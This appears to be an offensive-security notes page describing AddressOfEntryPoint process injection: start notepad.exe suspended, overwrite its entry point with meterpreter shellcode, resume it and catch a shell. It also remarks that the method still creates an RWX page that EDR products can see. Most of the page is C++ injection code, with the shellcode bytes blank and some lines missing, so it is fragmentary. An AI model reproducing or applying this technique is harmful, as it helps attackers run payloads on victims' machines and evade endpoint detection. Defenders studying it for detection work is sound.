AddressOfEntryPoint Code Injection without VirtualAllocEx RWX

Code Injection
This is a shellcode injection technique that works as follows:
  1. 1.
    Start a target process into which the shellcode will be injected, in suspended state.
  2. 2.
    Get AddressOfEntryPoint of the target process
  3. 3.
    Write shellcode to AddressOfEntryPoint retrieved in step 2
  4. 4.
    Resume target process
  5. 5.
    Catch the incoming shell
What's nice about this technique is that we do not need to allocate RWX memory pages in the victim process which some EDRs may not like.
At the page on AddressOfEntryPoint Code Injection without VirtualAllocEx RWX, this is not really done without using RWX. As shown in the first picture, the entrypoint memory page is already under RX permissions, and as shown here, the only reason this method works is because WriteProcessMemory is being nice and trying to change RX to RWX temporarily, which would end up creating an RWX page anyways, essentially making this technique still easily detectable by EDRs that look for RWX regions.


First, in order to get AddressOfEntryPoint, we need to get the image base address of the target process - notepad.exe:
We then need to parse out the NT and Optional Headers and find the AddressEntryPoint (Relative Virtual Address) of the notepad.exe which in my case was at 0001bf90:
Knowing notepad's image base address and an RVA of the AddressEntryPoint, we can get its Virtual Address (by adding the two up) and hijack the executable by overwriting the very first instructions found at that address with our shellcode:
bytes at AddressOfEntryPoint get overwritten with shellcode
Resuming the suspended process executes our shellcode which results in a meterpreter session:


#include "pch.h"
#include <iostream>
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll")
int main()
//x86 meterpreter
unsigned char shellcode[] =
si = {};
DWORD returnLength = 0;
CreateProcessA(0, (LPSTR)"c:\\windows\\system32\\notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
// get target image PEB address and pointer to image base
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
DWORD pebOffset = (DWORD)pbi.PebBaseAddress + 8;
// get target process image base address
LPVOID imageBase = 0;
ReadProcessMemory(pi.hProcess, (LPCVOID)pebOffset, &imageBase, 4, NULL);
// read target process image headers
BYTE headersBuffer[4096] = {};
ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL);
// get AddressOfEntryPoint
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew);
LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD)imageBase);
// write shellcode to image entry point and execute it
WriteProcessMemory(pi.hProcess, codeEntry, shellcode, sizeof(shellcode), NULL);
return 0;